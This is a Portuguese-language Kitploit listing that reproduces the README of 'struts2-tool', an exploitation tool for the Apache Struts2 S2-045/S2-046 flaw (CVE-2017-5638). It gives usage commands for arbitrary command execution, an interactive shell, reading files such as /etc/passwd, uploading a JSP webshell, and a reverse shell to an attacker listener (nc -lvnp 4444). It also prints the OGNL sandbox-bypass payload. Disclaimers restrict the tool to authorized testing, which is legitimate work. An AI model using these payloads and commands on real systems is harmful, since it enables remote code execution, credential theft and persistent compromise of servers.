Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 ferramenta de detecção e exploração | Kitploit
Ferramentas/GitHubGitHub/gu-007/struts2-tool
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 ferramenta de detecção e exploração

Ver Repositório
há 14h 13mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ferramenta de Detecção e Exploração de Vulnerabilidades Struts2 (s2tool)

Uma ferramenta de detecção e exploração de vulnerabilidades Struts2 S2-045 / S2-046 (CVE-2017-5638) implementada puramente em Java. O módulo de detecção cobre as duas vulnerabilidades S2-045 / S2-046, e o módulo de exploração oferece execução de comandos, gerenciamento de arquivos, obtenção de informações, Shell interativo, Shell reverso, upload de Webshell e outros recursos.

Aviso de isenção de responsabilidade: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados, pesquisa de vulnerabilidades e fins educacionais. É estritamente proibido usá-la para fins ilegais não autorizados. O usuário assume toda a responsabilidade legal.


Visão Geral dos Recursos

MóduloSubcomandoDescrição
Detecção de VulnerabilidadesscanDetecta S2-045 / S2-046 (verificação matemática + marcação de impressão digital UUID)
Varredura em LotebatchDetecta vários alvos em lote, gera resumo e relatório JSON
Execução de ComandosexecExecução de comandos arbitrários do sistema + retorno de saída (adaptação automática Win/Linux)
Shell InterativoshellInteração contínua, persistência de diretório cd, comandos internos pwd/webroot/os
Upload de ArquivosuploadGravação direta via OGNL (arquivos pequenos) / escrita segmentada via comandos (arquivos grandes)
Download de ArquivosdownloadDownload codificado em Base64 (seguro para binários)
Diretório Raiz WebgetpathObtém o caminho físico de implantação do aplicativo Web
Informações do SistemasysinfoInformações de SO / usuário / kernel / diretório de trabalho
Shell ReversorevshellShell reverso bash / PowerShell com um clique
Upload de WebshellwebshellGera e faz upload de JSP Webshell (estilo texto puro ?CMD=)
Exportação de Relatóriosscan -rRelatórios JSON / HTML

O recurso de download pode ler arquivos arbitrários do servidor (como /etc/shadow). Use apenas em testes autorizados.


Início Rápido

Requisitos de Ambiente

  • JDK 8 ou superior
  • Maven 3.x (necessário apenas para compilação; não é necessário instalar Maven para executar a ferramenta)

Compilação (Windows)

root@kitploit:~
:: Execute no diretório do projeto
.\build.bat

No PowerShell, é necessário o prefixo .\; no cmd, pode-se executar diretamente build.bat. O build.bat apenas compila e não realiza nenhuma solicitação de rede ou varredura. Após a compilação, a janela permanece aberta e entra na sessão cmd (você pode executar comandos da ferramenta diretamente; digite exit para fechar). Se o seu ambiente não puder gravar no repositório padrão do Maven, defina primeiro a variável de ambiente M2_REPO para um diretório gravável.

Artefato: target\s2tool.jar (fat-jar).

Para Linux/Mac, consulte build.sh

Exemplos de Uso

root@kitploit:~
# 1. Detecção de vulnerabilidades
java -jar s2tool.jar scan http://target/action

# 2. Detecção + exportação de relatório JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Execução de comandos
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interativo
java -jar s2tool.jar shell http://target/action

# 5. Obter diretório raiz Web / informações do sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Upload / download de arquivos
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Upload de Webshell com um clique (estilo texto puro ?CMD=)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Acesse: http://target/shell.jsp?CMD=whoami

# 8. Shell reverso (primeiro escute na máquina atacante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Varredura em lote
java -jar s2tool.jar batch targets.txt -r json

Formato do Arquivo de Alvos em Lote

root@kitploit:~
# Linhas de comentário começam com # (ignoradas automaticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Princípios Técnicos

S2-045 / S2-046 (CVE-2017-5638)

Faixa de versões do anúncio oficial (ambas as vulnerabilidades seguem os anúncios oficiais da Apache, para que os usuários avaliem se o alvo é afetado):

VulnerabilidadeCVEVersões afetadas (versões vulneráveis)Versões corrigidas (versões com patch)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 ou 2.5.10.1 e superiores
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 ou 2.5.10.1 e superiores

Esta ferramenta não depende de julgamento por versão; ela determina diretamente se a vulnerabilidade existe com base nos resultados da sondagem de Payload, pois a identificação de versão não é confiável (muitos sites ocultam o número da versão). A tabela acima serve apenas como referência para sua avaliação manual; ela não afeta a lógica de detecção da ferramenta.

Para S2-046, a ferramenta suporta tanto a injeção de byte nulo no filename quanto o caminho de detecção Content-Type com a mesma causa raiz.

Princípio da vulnerabilidade:

  • Mesmo ponto de disparo: Quando o parser Jakarta Multipart encontra uma exceção, ele concatena o conteúdo do cabeçalho controlado pelo usuário (S2-045: Content-Type; S2-046: filename do Content-Disposition) na mensagem de exceção, e a mensagem de exceção é avaliada por OGNL através do processo de tratamento de texto internacionalizado do Struts2 (TextParseUtil.translateVariables)
  • Métodos de exploração diferentes: S2-045 é acionado por um Content-Type inválido; S2-046 é acionado por byte nulo no filename (requer commons-fileupload 1.3.3+) ou Content-Length excessivamente grande (requer configuração jakarta-stream)

Bypass da Sandbox

root@kitploit:~
(#nike='multipart/form-data')                       // Disfarça o Content-Type, passa na verificação contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Obtém o MemberAccess de maior privilégio
(#_memberAccess?(#_memberAccess=#dm):               // Versões antigas: substituição direta
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Limpa a lista negra de nomes de pacotes
   (#ognlUtil.getExcludedClasses().clear())          // Limpa a lista negra de classes
   (#context.setMemberAccess(#dm))))                 // Versões novas: limpa listas negras e depois substitui

Testado na prática: No Struts2 2.3.30, a versão simplificada (apenas setMemberAccess) não consegue contornar a sandbox; é necessário usar a versão completa (incluindo o caminho de limpeza de listas negras via OgnlUtil).

Estratégia de Detecção

TécnicaPrincípioDescrição
Verificação matemáticaOGNL executa 88888888-23333+1222; se a resposta contiver 88866777, a vulnerabilidade existeFórmula POC pública
Marcação de impressão digital UUIDInjeta um UUID aleatório e o reflete no corpo da respostaAlta precisão, imune à latência de rede
Detecção por atrasoDiferença de tempo de Thread.sleep(6000) (apenas fallback sem retorno de saída para S2-045)Limiar >3.6s

Regra de julgamento: se a verificação matemática OU a marcação de impressão digital for detectada → confirmada como existente; apenas atraso detectado → suspeita de existência; nenhuma detectada → não existe.


Estrutura do Projeto

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Compilação Maven (empacotamento shade fat-jar)
├── build.bat / build.sh           # Scripts de compilação (Windows verificado / Linux referência)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # Entrada principal (CLI Picocli)
│   ├── core/                      # Mecanismo central: cliente HTTP / construção de Payload / análise de resposta / parsing de alvos
│   ├── plugins/                   # Arquitetura de plugins de vulnerabilidade (pontos de extensão)
│   │   └── impl/                  #   Plugins de detecção S2_045 / S2_046
│   ├── modules/                   # Módulos funcionais: agendamento de detecção / identificação de impressão digital / execução de comandos / gerenciamento de arquivos / Shell etc.
│   ├── report/                    # Geração de relatórios (console / JSON / HTML)
│   └── utils/                     # Utilitários de log
├── src/main/resources/            # Configuração de log / referência de Payload
└── src/test/                      # Testes unitários JUnit

Referências

Artigos sobre princípios e técnicas de vulnerabilidades:

  • Anúncio oficial Apache Struts S2-045 (CVE-2017-5638)
  • Análise de injeção OGNL S2-045 e bypass de sandbox triplo (Comunidade de desenvolvedores Tencent Cloud)(Referência de Payload)
  • Análise do princípio da vulnerabilidade S2-046 (Anquanke)

Projetos de código aberto de referência (durante o desenvolvimento deste projeto, foram consultadas as ideias e Payloads dos seguintes repositórios):

  • Flyteas/Struts2-045-Exp —— Modelos de Payload para execução de comandos / obtenção do diretório raiz Web / escrita de arquivos JSP
  • Z-0ne/ScanS2-045-Nmap —— Ideias de detecção em lote, método de marcação de características de resposta
  • abc123info/Struts2VulsScanTools —— Ideia de design geral da ferramenta de detecção de múltiplas vulnerabilidades (separação entre detecção e exploração)

Licença

Apenas para testes de segurança autorizados e uso em pesquisa e aprendizado.

É estritamente proibido usar para fins ilegais não autorizados. O usuário assume toda a responsabilidade legal.

Baixar ferramenta